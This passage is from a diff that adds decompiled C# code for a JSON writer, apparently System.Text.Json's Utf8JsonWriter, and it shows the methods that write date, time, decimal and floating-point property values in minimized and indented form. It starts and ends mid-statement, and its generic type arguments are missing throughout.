JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, DateTime value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 33 + 6; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + internal void WritePropertyName(DateTime value) + { + Span buffer = stackalloc byte[33]; + JsonWriterHelper.WriteDateTimeTrimmed(buffer, value, out var bytesWritten); + WritePropertyNameUnescaped(buffer.Slice(0, bytesWritten)); + } + + public void WriteString(JsonEncodedText propertyName, DateTimeOffset value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteStringByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, DateTimeOffset value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), value); + } + + public void WriteString(ReadOnlySpan propertyName, DateTimeOffset value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteStringEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan utf8PropertyName, DateTimeOffset value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteStringEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringEscape(ReadOnlySpan propertyName, DateTimeOffset value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(propertyName, value, num); + } + else + { + WriteStringByOptions(propertyName, value); + } + } + + private void WriteStringEscape(ReadOnlySpan utf8PropertyName, DateTimeOffset value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, value); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan propertyName, DateTimeOffset value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan utf8PropertyName, DateTimeOffset value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringByOptions(ReadOnlySpan propertyName, DateTimeOffset value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(propertyName, value); + } + else + { + WriteStringMinimized(propertyName, value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8PropertyName, DateTimeOffset value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(utf8PropertyName, value); + } + else + { + WriteStringMinimized(utf8PropertyName, value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, DateTimeOffset value) + { + int num = escapedPropertyName.Length * 3 + 33 + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, DateTimeOffset value) + { + int num = escapedPropertyName.Length + 33 + 5; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, DateTimeOffset value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 33 + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, DateTimeOffset value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 33 + 6; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + internal void WritePropertyName(DateTimeOffset value) + { + Span buffer = stackalloc byte[33]; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(buffer, value, out var bytesWritten); + WritePropertyNameUnescaped(buffer.Slice(0, bytesWritten)); + } + + public void WriteNumber(JsonEncodedText propertyName, decimal value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteNumberByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(string propertyName, decimal value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), value); + } + + public void WriteNumber(ReadOnlySpan propertyName, decimal value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteNumberEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(ReadOnlySpan utf8PropertyName, decimal value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteNumberEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, decimal value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, decimal value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, decimal value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, decimal value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, decimal value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(propertyName, value); + } + else + { + WriteNumberMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, decimal value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(utf8PropertyName, value); + } + else + { + WriteNumberMinimized(utf8PropertyName, value); + } + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, decimal value) + { + int num = escapedPropertyName.Length * 3 + 31 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, decimal value) + { + int num = escapedPropertyName.Length + 31 + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, decimal value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 31 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, decimal value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 31 + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WritePropertyName(decimal value) + { + Span destination = stackalloc byte[31]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteNumber(JsonEncodedText propertyName, double value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + JsonWriterHelper.ValidateDouble(value); + WriteNumberByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(string propertyName, double value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), value); + } + + public void WriteNumber(ReadOnlySpan propertyName, double value) + { + JsonWriterHelper.ValidateProperty(propertyName); + JsonWriterHelper.ValidateDouble(value); + WriteNumberEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(ReadOnlySpan utf8PropertyName, double value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + JsonWriterHelper.ValidateDouble(value); + WriteNumberEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, double value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, double value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, double value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, double value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, double value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(propertyName, value); + } + else + { + WriteNumberMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, double value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(utf8PropertyName, value); + } + else + { + WriteNumberMinimized(utf8PropertyName, value); + } + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, double value) + { + int num = escapedPropertyName.Length * 3 + 128 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, double value) + { + int num = escapedPropertyName.Length + 128 + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, double value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 128 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, double value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 128 + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WritePropertyName(double value) + { + JsonWriterHelper.ValidateDouble(value); + Span destination = stackalloc byte[128]; + int bytesWritten; + bool flag = TryFormatDouble(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteNumber(JsonEncodedText propertyName, float value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + JsonWriterHelper.ValidateSingle(value); + WriteNumberByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(string propertyName, float value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteNumber(propertyName.AsSpan(), value); + } + + public void WriteNumber(ReadOnlySpan propertyName, float value) + { + JsonWriterHelper.ValidateProperty(propertyName); + JsonWriterHelper.ValidateSingle(value); + WriteNumberEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + public void WriteNumber(ReadOnlySpan utf8PropertyName, float value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + JsonWriterHelper.ValidateSingle(value); + WriteNumberEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, float value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, float value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, float value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, float value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, float value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(propertyName, value); + } + else + { + WriteNumberMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, float value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteNumberIndented(utf8PropertyName, value); + } + else + { + WriteNumberMinimized(utf8PropertyName, value); + } + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, float value) + { + int num = escapedPropertyName.Length * 3 + 128 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberMinimized(ReadOnlySpan escapedPropertyName, float value) + { + int num = escapedPropertyName.Length + 128 + 3; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, float value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 128 + 5 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberIndented(ReadOnlySpan escapedPropertyName, float value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length + 128 + 4; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WritePropertyName(float value) + { + Span destination = stackalloc byte[128]; + int bytesWritten; + bool flag = TryFormatSingle(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + internal void WriteNumber(ReadOnlySpan propertyName, ReadOnlySpan utf8FormattedNumber) + { + JsonWriterHelper.ValidateProperty(propertyName); + JsonWriterHelper.ValidateValue(utf8FormattedNumber); + JsonWriterHelper.ValidateNumber(utf8FormattedNumber); + WriteNumberEscape(propertyName, utf8FormattedNumber); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + internal void WriteNumber(ReadOnlySpan utf8PropertyName, ReadOnlySpan utf8FormattedNumber) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + JsonWriterHelper.ValidateValue(utf8FormattedNumber); + JsonWriterHelper.ValidateNumber(utf8FormattedNumber); + WriteNumberEscape(utf8PropertyName, utf8FormattedNumber); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + internal void WriteNumber(JsonEncodedText propertyName, ReadOnlySpan utf8FormattedNumber) + { + JsonWriterHelper.ValidateValue(utf8FormattedNumber); + JsonWriterHelper.ValidateNumber(utf8FormattedNumber); + WriteNumberByOptions(propertyName.EncodedUtf8Bytes, utf8FormattedNumber); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberEscape(ReadOnlySpan propertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(propertyName, value, num); + } + else + { + WriteNumberByOptions(propertyName, value); + } + } + + private void WriteNumberEscape(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteNumberEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteNumberByOptions(utf8PropertyName, value); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan propertyName, ReadOnlySpan value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberEscapeProperty(ReadOnlySpan utf8PropertyName, ReadOnlySpan value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteNumberByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteNumberByOptions(ReadOnlySpan propertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteLiteralIndented(propertyName, value); + } + else + { + WriteLiteralMinimized(propertyName, value); + } + } + + private void WriteNumberByOptions(ReadOnlySpan utf8PropertyName, ReadOnlySpan value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteLiteralIndented(utf8PropertyName, value); + } + else + { + WriteLiteralMinimized(utf8PropertyName, value); + } + } + + public void WriteString(JsonEncodedText propertyName, Guid value) + { + ReadOnlySpan encodedUtf8Bytes = 